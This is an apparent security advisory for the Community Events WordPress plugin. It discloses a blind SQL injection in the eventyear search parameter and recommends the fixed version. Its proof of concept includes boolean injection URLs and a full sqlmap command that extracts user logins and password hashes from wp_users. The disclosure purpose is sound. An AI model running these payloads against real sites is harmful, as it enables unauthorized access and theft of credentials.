"The purpose of this plugin is to allow users to create a schedule of upcoming 
events and display events for the next 7 days in an AJAX-driven box or 
displaying a full list of upcoming events."

Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a blind SQL injection attack can be
performed within the search function to obtain sensitive information from the 
database. To exploit this vulnerability, there has to be at least one planned 
event on the calendar.


Proof of concept:
-----------------
The following HTTP request to the Community Events full schedule returns the 
event(s) planned in the specified year:
===============================================================================
http://www.site.com/?page_id=2&eventyear=2015 AND 1=1 )--&dateset=on&eventday=1
===============================================================================

The following HTTP request returns a blank page, thus confirming the blind SQL
injection vulnerability:
===============================================================================
http://www.site.com/?page_id=2&eventyear=2015 AND 1=0 )--&dateset=on&eventday=1
===============================================================================

Obtaining users and password hashes with sqlmap may look as follows (--string 
parameter has to contain (part of) the name of the event, enabling sqlmap to 
differentiate between true and false statements):
================================================================================
sqlmap -u "http://www.site.com/?page_id=2&eventyear=2015&dateset=on&eventday=1" -p "eventyear" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users"
================================================================================
